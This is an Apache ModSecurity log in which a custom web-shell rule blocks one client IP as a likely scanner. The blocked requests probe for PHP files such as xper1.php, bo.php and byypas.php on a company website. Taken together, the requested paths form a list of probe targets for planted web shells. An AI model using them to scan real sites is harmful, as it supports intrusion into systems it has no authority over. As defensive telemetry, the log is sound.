[Thu Mar 26 20:55:49.979756 2026] [:error] [pid 31670:tid 31691] [client 20.240.134.170:57777] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acUs1TXVthXxCnWjOTTFywAAAVM"]
[Thu Mar 26 20:55:51.022992 2026] [:error] [pid 31670:tid 31683] [client 20.240.134.170:4131] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acUs1zXVthXxCnWjOTTF0AAAAUs"]
[Thu Mar 26 20:55:52.146379 2026] [:error] [pid 31778:tid 31794] [client 20.240.134.170:40727] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "acUs2A3kybI2o-xasmAaNQAAAcE"]
[Thu Mar 26 20:56:07.397378 2026] [:error] [pid 31670:tid 31677] [client 20.240.134.170:57735] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acUs5zXVthXxCnWjOTTGDAAAAUU"]
[Thu Mar 26 20:56:09.953934 2026] [:error] [pid 19818:tid 19825] [client 20.240.134.170:30814] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acUs6czaSnm3d1BeM5UtMQAAAMU"]
[Thu Mar 26 20:56:11.323919 2026] [:error] [pid 60829:tid 60855] [client 20.240.134.170:4107] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acUs6_TdjHKeZokybaTTNwAAARg"]
[Thu Mar 26 20:56:13.160791 2026] [:error] [pid 31670:tid 31692] [client 20.240.134.170:57738] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "acUs7TXVthXxCnWjOTTGGAAAAVQ"]
[Thu Mar 26 20:56:17.547152 2026] [:error] [pid 31780:tid 31827] [client 20.240.134.170:38065] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acUs8ZJDwZsy5O4ZXEi-_wAAAgc"]
[Thu Mar 26 20:56:22.392453 2026] [:error] [pid 60829:tid 60838] [client 20.240.134.170:30798] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acUs9vTdjHKeZokybaTTQAAAAQc"]
[Thu Mar 26 20:56:23.292836 2026] [:error] [pid 19711:tid 19752] [client 20.240.134.170:30729] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acUs92j3l1y81GYfluSfwwAAAEM"]
[Thu Mar 26 20:56:24.570651 2026] [:error] [pid 31780:tid 31840] [client 20.240.134.170:30780] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bo.php"] [unique_id "acUs-JJDwZsy5O4ZXEi_BgAAAhM"]
[Thu Mar 26 20:56:25.529392 2026] [:error] [pid 19712:tid 19789] [client 20.240.134.170:54529] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acUs-dWhKhRNqm23vFMo1AAAAI0"]
[Thu Mar 26 20:56:26.797673 2026] [:error] [pid 19711:tid 19764] [client 20.240.134.170:65261] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acUs-mj3l1y81GYfluSfzwAAAE8"]
[Thu Mar 26 20:56:28.570357 2026] [:error] [pid 31778:tid 31801] [client 20.240.134.170:30771] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acUs_A3kybI2o-xasmAaRQAAAcg"]
[Thu Mar 26 20:56:29.390337 2026] [:error] [pid 19818:tid 19841] [client 20.240.134.170:64316] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "acUs_czaSnm3d1BeM5UtQgAAANU"]
[Thu Mar 26 20:56:30.275454 2026] [:error] [pid 19818:tid 19840] [client 20.240.134.170:40764] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acUs_szaSnm3d1BeM5UtQwAAANQ"]
[Thu Mar 26 20:56:32.067023 2026] [:error] [pid 31780:tid 31822] [client 20.240.134.170:30767] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acUtAJJDwZsy5O4ZXEi_GAAAAgI"]
[Thu Mar 26 20:56:33.389128 2026] [:error] [pid 31778:tid 31797] [client 20.240.134.170:64311] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acUtAQ3kybI2o-xasmAaSAAAAcQ"]
[Thu Mar 26 20:56:34.170674 2026] [:error] [pid 31717:tid 31727] [client 20.240.134.170:51883] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/privacy.php"] [unique_id "acUtAr-SCF7YDISDX4_05wAAAYU"]
[Thu Mar 26 20:56:34.996384 2026] [:error] [pid 19710:tid 19740] [client 20.240.134.170:51860] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acUtAgVEWP8Ar68Njk4QUQAAABI"]
[Thu Mar 26 20:56:36.230113 2026] [:error] [pid 19712:tid 19779] [client 20.240.134.170:4127] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acUtBNWhKhRNqm23vFMo2QAAAIM"]
[Thu Mar 26 20:56:36.976036 2026] [:error] [pid 60829:tid 60840] [client 20.240.134.170:63483] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acUtBPTdjHKeZokybaTTSgAAAQk"]
[Thu Mar 26 20:56:38.107536 2026] [:error] [pid 31670:tid 31690] [client 20.240.134.170:63429] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "acUtBjXVthXxCnWjOTTGKQAAAVI"]
[Thu Mar 26 20:56:38.977794 2026] [:error] [pid 60829:tid 60832] [client 20.240.134.170:39369] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gm.php"] [unique_id "acUtBvTdjHKeZokybaTTTgAAAQE"]
[Thu Mar 26 20:56:39.862799 2026] [:error] [pid 60829:tid 60845] [client 20.240.134.170:64300] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gm.php"] [unique_id "acUtB_TdjHKeZokybaTTUwAAAQ4"]
[Thu Mar 26 20:56:41.039361 2026] [:error] [pid 31780:tid 31831] [client 20.240.134.170:40717] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gm.php"] [unique_id "acUtCZJDwZsy5O4ZXEi_IQAAAgo"]
[Thu Mar 26 20:56:41.835784 2026] [:error] [pid 19712:tid 19783] [client 20.240.134.170:54088] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gm.php"] [unique_id "acUtCdWhKhRNqm23vFMo3AAAAIc"]
[Thu Mar 26 20:56:42.804229 2026] [:error] [pid 19711:tid 19762] [client 20.240.134.170:39369] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acUtCmj3l1y81GYfluSf4AAAAE0"]
[Thu Mar 26 20:56:43.973013 2026] [:error] [pid 31670:tid 31685] [client 20.240.134.170:64281] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acUtCzXVthXxCnWjOTTGNgAAAU0"]
[Thu Mar 26 20:56:44.877709 2026] [:error] [pid 31780:tid 31842] [client 20.240.134.170:39369] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acUtDJJDwZsy5O4ZXEi_KwAAAhU"]
[Thu Mar 26 20:56:46.257410 2026] [:error] [pid 31780:tid 31836] [client 20.240.134.170:58852] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acUtDpJDwZsy5O4ZXEi_LgAAAg8"]
[Thu Mar 26 20:56:47.299053 2026] [:error] [pid 31780:tid 31827] [client 20.240.134.170:63477] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acUtD5JDwZsy5O4ZXEi_MQAAAgc"]
[Thu Mar 26 20:56:48.331913 2026] [:error] [pid 31670:tid 31695] [client 20.240.134.170:64301] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acUtEDXVthXxCnWjOTTGOAAAAVc"]
[Thu Mar 26 20:56:49.679922 2026] [:error] [pid 19711:tid 19755] [client 20.240.134.170:40728] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acUtEWj3l1y81GYfluSf5AAAAEY"]
[Thu Mar 26 20:56:50.630636 2026] [:error] [pid 19712:tid 19793] [client 20.240.134.170:30843] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1.php"] [unique_id "acUtEtWhKhRNqm23vFMo4QAAAJE"]
[Thu Mar 26 20:56:51.578243 2026] [:error] [pid 19711:tid 19770] [client 20.240.134.170:39373] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUtE2j3l1y81GYfluSf7QAAAFU"]
[Thu Mar 26 20:56:52.460969 2026] [:error] [pid 31780:tid 31825] [client 20.240.134.170:29500] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUtFJJDwZsy5O4ZXEi_NgAAAgU"]
[Thu Mar 26 20:56:53.290409 2026] [:error] [pid 31780:tid 31820] [client 152.58.56.105:61094] [client 152.58.56.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.56.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acUtFZJDwZsy5O4ZXEi_OAAAAgA"]
[Thu Mar 26 20:56:53.364090 2026] [:error] [pid 19711:tid 19756] [client 20.240.134.170:51848] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUtFWj3l1y81GYfluSf9AAAAEc"]
[Thu Mar 26 20:56:54.433027 2026] [:error] [pid 31780:tid 31824] [client 20.240.134.170:64317] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acUtFpJDwZsy5O4ZXEi_PAAAAgQ"]
[Thu Mar 26 20:56:55.375780 2026] [:error] [pid 31780:tid 31821] [client 20.240.134.170:16789] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acUtF5JDwZsy5O4ZXEi_PwAAAgE"]
[Thu Mar 26 20:56:56.204690 2026] [:error] [pid 31778:tid 31804] [client 20.240.134.170:54116] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acUtGA3kybI2o-xasmAaVAAAAcs"]
[Thu Mar 26 20:56:57.015074 2026] [:error] [pid 31780:tid 31823] [client 20.240.134.170:54083] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acUtGZJDwZsy5O4ZXEi_SAAAAgM"]
[Thu Mar 26 20:56:58.374492 2026] [:error] [pid 31780:tid 31836] [client 20.240.134.170:30726] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "acUtGpJDwZsy5O4ZXEi_TAAAAg8"]
[Thu Mar 26 20:56:59.248620 2026] [:error] [pid 31670:tid 31685] [client 20.240.134.170:46916] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acUtGzXVthXxCnWjOTTGPAAAAU0"]
[Thu Mar 26 20:57:00.078435 2026] [:error] [pid 31670:tid 31679] [client 20.240.134.170:29481] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acUtHDXVthXxCnWjOTTGQAAAAUc"]
[Thu Mar 26 20:57:01.091119 2026] [:error] [pid 31670:tid 31695] [client 20.240.134.170:30827] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acUtHTXVthXxCnWjOTTGQgAAAVc"]
[Thu Mar 26 20:57:02.005094 2026] [:error] [pid 19711:tid 19758] [client 20.240.134.170:16773] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "acUtHmj3l1y81GYfluSf_QAAAEk"]
[Thu Mar 26 20:57:03.118563 2026] [:error] [pid 31778:tid 31794] [client 20.240.134.170:30747] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acUtHw3kybI2o-xasmAaWgAAAcE"]
[Thu Mar 26 20:57:04.108030 2026] [:error] [pid 19711:tid 19754] [client 20.240.134.170:65246] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acUtIGj3l1y81GYfluSgAAAAAEU"]
[Thu Mar 26 20:57:19.778085 2026] [:error] [pid 31670:tid 31676] [client 20.240.134.170:65265] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acUtLzXVthXxCnWjOTTGbwAAAUQ"]
[Thu Mar 26 20:57:20.876147 2026] [:error] [pid 19818:tid 19829] [client 20.240.134.170:30823] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acUtMMzaSnm3d1BeM5UtbQAAAMk"]
[Thu Mar 26 20:57:22.976874 2026] [:error] [pid 31670:tid 31674] [client 20.240.134.170:26853] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acUtMjXVthXxCnWjOTTGdgAAAUI"]
[Thu Mar 26 20:57:23.920500 2026] [:error] [pid 60829:tid 60839] [client 20.240.134.170:54123] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "acUtM_TdjHKeZokybaTTcQAAAQg"]
[Thu Mar 26 20:57:26.151106 2026] [:error] [pid 19712:tid 19791] [client 20.240.134.170:64273] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acUtNtWhKhRNqm23vFMo7QAAAI8"]
[Thu Mar 26 20:57:27.293841 2026] [:error] [pid 31670:tid 31675] [client 20.240.134.170:29555] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acUtNzXVthXxCnWjOTTGfQAAAUM"]
